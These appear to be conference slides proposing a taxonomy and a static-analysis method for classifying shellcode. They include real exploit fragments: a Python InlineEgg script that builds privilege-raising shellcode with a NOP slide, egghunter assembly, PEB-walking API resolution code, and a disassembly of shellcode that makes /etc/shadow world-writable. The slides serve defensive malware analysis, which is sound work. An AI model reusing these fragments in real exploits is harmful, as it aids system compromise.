Static shellcode analysis and classification

Aleksander P. Czarnowski
AVET Information and Network Security Sp. z o.o.
Virus Bulletin Conference 2011 Barcelona
Taxonomy proposal

<table>
<thead>
<tr>
<th>Taxonomy field</th>
<th>Field description / content</th>
</tr>
</thead>
</table>
| Shellcode execution      | • Kernel address space  
|                          | • User address space  
|                          | • Mixed  
| Target                   | • Native  
|                          | • Bytecode  
| Multistage               | • Yes  
|                          | • No  
| ROP                      | • Yes  
|                          | • No  
| Executes code            | • Yes  
|                          | • No  
| Required privileges      | Describes list of required privileges in order for shellcode to execute correctly  
| Target resource          | List of targets on which shellcode can be executed  
| API calls sequence       | List of API calls made by shellcode – this is used to detect family members of the same shellcode  
| Description              | Describes shellcode characteristic in details.  
| Shellcode size           | Shellcode size without no slide and encryption loop  

Why invent another taxonomy anyway?

Is the number of taxonomies too low?

• Taxonomy for attack patterns
• Taxonomy for vulnerabilities
• Taxonomy for malware
• ...
• Some parts already overlap.

Rationale behind dedicated taxonomy and metrics:

• We need deep understanding of threats that surrounds us in order to address them properly
• It is hard to notice important changes in threat landscape if it is not being monitored closely enough
• It is cool to be on VB Conference ;)}
Problem definition

Given any shellcode A and B:

– Is shellcode B a member of the same family as shellcode A or they are completely different?
– What is the functionality of shellcode A and B, and if they differ, how do they differ?

And given any arbitrary byte stream block:

– Is this a shellcode or arbitrary data?
– If this is a shellcode is this byte is executable code or data?
EXAMPLES
Example #1: which shellcode is different?

- Setuid(0)
- Setgid(0)
- Execve('/bin/ls', ('ls','-la'))
- Dup2(client, 0)
- Dup2(client, 1)
- Dup2(client, 2)
- Execve('/bin/sh', ('bash','-i'))

Same API calls different order
Example #2: which shellcode is different?

Polymorphic nop slide – still has the same functionality

Decryption is required to do comparison

Data section

Return address

Trampoline code

setuid(0)
setgid(0)
execve('/bin/ls', ('ls','-la'))

Trampoline code

NOP slide

nOP s1iD3

Trampoline code

setuid(0)
setgid(0)
execve('/bin/ls', ('ls','-la'))

Data section

Return address

Decryption loop
Example #3 & #4

Return-to-glibc like example

<table>
<thead>
<tr>
<th>Function address</th>
<th>Return address</th>
</tr>
</thead>
<tbody>
<tr>
<td></td>
<td>Argument 1</td>
</tr>
<tr>
<td></td>
<td>Argument n</td>
</tr>
<tr>
<td></td>
<td>Function address</td>
</tr>
<tr>
<td></td>
<td>Return address</td>
</tr>
</tbody>
</table>

Return Oriented Programming

<table>
<thead>
<tr>
<th>pop register</th>
</tr>
</thead>
<tbody>
<tr>
<td>ret [n]</td>
</tr>
<tr>
<td>pop register</td>
</tr>
<tr>
<td>ret [n]</td>
</tr>
<tr>
<td>add eax, x</td>
</tr>
<tr>
<td>ret [n]</td>
</tr>
</tbody>
</table>
Why this is a problem?

• Shellcodes are not written by hand in assembly language any more
  – Runtime creation based on components database
  – Parameters can be customized for every single use
• At CPU level shellcode can look differently than in exploit
  – ROP
• Is it possible to execute native code without any code injection
How easy it was in 2004?

```python
import struct
from inlineegg.inlineegg import *

if __name__ == '__main__':
    retaddr = struct.pack('<L', 0xbfffc24L)

    egg = InlineEgg(Linuxx86Syscall)
    egg.setgid(0)
    egg.setuid(0)
    egg.execve('/bin/ls', ('ls', '-l'))

    nopslide = '\x90' * (512 - len(egg))

    shellcode = nopslide
    shellcode += egg.getCode()
    shellcode += 20 * retaddr
```

**Getting InlineEgg**

- Source code
- Latest stable release (1.08, updated on Nov 17, 2004) – gzip'd tarball, zip file
Dynamic analysis problems / disadvantages

• Disadvantages:
  – You have to run code
  – Provide proper execution environment in first place to be able to run the code
  – Hard to monitor unless you use hypervisor
    • Still can be tricky

• Advantages:
  – Once you overcome the problems you don’t have to work hard on emulation
  – Is this shellcode really works?
Debugging manually

Possible generic approach

- Start process with debug flag enable / attach to running process
- Enable exception interception
- Catch the exception
- Single step & control address of next instruction
- If differs from proper address enter debugger
  - Can use breakpoints on stack checking code
Static analysis

- Advantages
  - Works even without target environment
  - Better automation
  - A lot of components already out there in the internet

- Disadvantages
  - Can be slow (not real issue since shellcodes are rather small)
  - To get better result you need to know the target behavior and emulate:
    • Memory areas and system structures
    • API results
    • Execution flow events like SEH etc.
  - Userland / Kernel rings behaves differently, must be emulated to in some cases
Just like LEGO bricks – you take one piece and attach it to another

SHELLCODE BUILDING BLOCKS
EXAMPLES
Some challenges

• Detecting data and code segments and marking them appropriately for further analysis
  – Detecting where certain parts starts and ends within the section

• Feeding proper data to memory scanning functions
Different ways to get (R/E)IP

Traditional trampoline

jmp trampoline
shellcode:
pop ebx ;ebx holds EIP

[...]
trampoline:
call shellcode

Pure ASCII shellcode

fldz
fnstenv [esp-12]
pop ecx
add cl, 10
nop ;ecx holds EIP
Loops

End marker in decryption loop

Memory scanning

```assembly
|8d4f10     lea ecx,[edi+10h]  
8031c4     xor byte ptr [ecx],0c4h 
41         inc ecx 
6681394d53 cmp word ptr [ecx],534Dh 
75F5       jne 010cf504 |
```

```assembly
find_hash: ; Find ntdll's InInitOrder list of modules:
PUSH EDI ; Stack = (hash, hash) [], &url, &(LoadLibraryA)] 
XOR ESI, ESI ; ESI = 0 
MOV ESI, [FS:ESI + 0x30] ; ESI = &(PEB) ([FS:0x30]) 
MOV ESI, [ESI + 0x0C] ; ESI = PEB->Ldr 
MOV ESI, [ESI + 0x1C] ; ESI = PEB->Ldr.InInitOrder (first module) 
next_module: ; Get the base address of the current module and find the next module: 
MOV EBP, [ESI + 0x08] ; EBP = InInitOrder[X].base_address 
MOV ESI, [ESI] ; ESI = InInitOrder[X].flink == InInitOrder[X+1] 
get_proc_address_loop: ; Find the PE header and export and names tables of the module: 
MOV EBX, [EBP + 0x3C] ; EBX = &(PE header) 
MOV EBX, [EBX + EBX + 0x78] ; EBX = offset(export table) 
ADD EBX, EBP ; EBX = &export table 
MOV ECX, [EBX + 0x18] ; ECX = number of name pointers 
Jcxz next_module ; No name pointers? Next module. 
next_function_loop: ; Get the next function name for hashing: 
MOV EDI, [EBX + 0x20] ; EDI = offset(names table) 
ADD EDI, EBP ; EDI = &(names table) 
MOV EDI, [EDI + ECX * 4 - 4] ; EDI = offset(function name) 
ADD EDI, EBP ; EDI = &function name 
XOR EAX, EAX ; EAX = 0 
CDQ 
hash_loop: ; Hash the function name and compare with requested hash
```
Multistage: egghunter (1/3)

```assembly
EB21    jmp short 0x23
59      pop ecx
B890509050 mov eax,0x50905090 ; this is the tag
51      push ecx
6AFF    push byte -0x1
33DB    xor ebx,ebx
648923   mov [fs:ebx],esp
6A02    push byte +0x2
59      pop ecx
8BF8    mov edi,ebx
F3AF    repe scasd
7507    jnz 0x20
FFE7    jmp edi
6681CBFF0F or bx,0xffff
43      inc ebx
EBED    jmp short 0x10
E8DAFFFFF call 0x2
6A0C    push byte +0xc
59      pop ecx
88040C   mov eax,[esp+ecx]
B1B8    mov cl,0xb8
83040806 add dword [eax+ecx],byte +0x6
58      pop eax
83C410   add esp,byte+0x10
50      push eax
33C0    xor eax,eax
C3      ret
```
Multistage: egghunter (2/3)

```
xor ebx, ebx
or bx, 0xffff
inc ebx
push byte +0x8
push ebx
mov eax, 0x77e75b0d
call eax
test eax, eax
jnz 0x2
mov eax, 0x50905090 ; this is the tag
mov edi, ebx
scasd
jnz 0x7
scasd
jnz0x7
jmp edi
```
Multistage: egghuner (3/3)

```
6681CAFFOF or dx, 0x0fff
42    inc edx
52    push edx
6A43  push byte +0x43
58    pop eax
CD2E  int 0x2e
3C05  cmp al, 0x5
5A    pop edx
74EF  jz 0x0
B890509050 mov eax, 0x50905090 ; this is the tag
8BFA  mov edi, edx
AF    scasd
75EA  jnz 0x5
AF    scasd
75E7  jnz 0x5
FFE7  jmp edi
```
Manual extraction / analysis

Possible approach

• Load into IDA
• Set base address
• Convert to code
• Find entry point
• Decrypt if needed
  (IDC/Python/x86emu/pyemu)
• Save the database
Manual extraction: final result

```assembly
seg000:00000000  seg000  segment byte public 'CODE' use32
seg000:00000000  assume cs:seg000
seg000:00000000  assume es:nothing, ss:nothing, ds:nothing, fs:
seg000:00000000  cdq
seg000:00000001  push  0Fh
seg000:00000003  pop    eax
seg000:00000004  push edx
seg000:00000005  call    sub_16
seg000:00000005  ; ---------------------------------------------------------------
seg000:0000000A  aEtcShadow    db '/etc/shadow',0
seg000:00000016
seg000:00000016  ; =============== SUBROUTINE ================================
seg000:00000016
seg000:00000016  ; Attributes: noreturn
seg000:00000016
seg000:00000016  sub_16    proc near               ; CODE XREF: seg000:0f
seg000:00000016  pop     ebx               ; status
seg000:00000016  push    1B6h
seg000:00000017  pop     ecx
seg000:0000001C  int      80h                 ; LINUX -
seg000:0000001D  push    1
seg000:0000001F  pop     eax
seg000:00000021  int      80h                 ; LINUX - sys_exit
seg000:00000022  sub_16    endp               ; sp-analysis failed
```
Demo

PROOF OF CONCEPT: STATIC SHELLCODE ANALYZER
High level architecture

Extraction scripts

CPU Emulator

Shellcode blocks library

API Emulator

Meta CPU translator

Final classification

Abstraction representation

Byte patterns

\eval(s(7-x, 7-x, 103-x, 100-x, 30-x, -x, 95-x, 101-x, 76-x, 95-x, 107-x, 99-x)\n\x90\x91\x00h/bin/x89\xe3\n
metacpu

Objective

- Abstracts real CPU code into more comparable form
- Translates API into generic call list that applies to high level functionality across all targets
  - Removes problems of differences between security models like tokens in Windows or different threads implementations
  - Recognizes some instruction streams to categorize whole blocks of code
- Deals well with short and long shellcodes
- Good in detecting some nop slides

Current instruction list

- Ret [n]
- Push
- Pop
- Syscall
- Call
- Branch
- CriticalStructureAccess
- SomeOperation
Further development?

• Move from pattern detection towards more advance metacpu
• Database backend to enable comparison
• Better analysis based on execution flow
• Better acquisition process
Taxonomy proposal

<table>
<thead>
<tr>
<th>Taxonomy field</th>
<th>Field description / content</th>
</tr>
</thead>
</table>
| Shellcode execution   | • Kernel address space  
                      | • User address space  
                      | • Mixed                                                      |
| Target                | • Native  
                      | • Bytecode                                                      |
| Multistage            | • Yes  
                      | • No                                                          |
| ROP                   | • Yes  
                      | • No                                                          |
| Executes code         | • Yes  
                      | • No                                                          |
| Required privileges   | Describes list of required privileges in order for shellcode to execute correctly            |
| Target resource       | List of targets on which shellcode can be executed                                           |
| API calls sequence    | List of API calls made by shellcode – this is used to detect family members of the same shellcode |
| Description           | Describes shellcode characteristic in details.                                               |
| Shellcode size        | Shellcode size without no slide and encryption loop                                           |
Thank you!

• Questions?

aleksander.czarnowski@avet.com.pl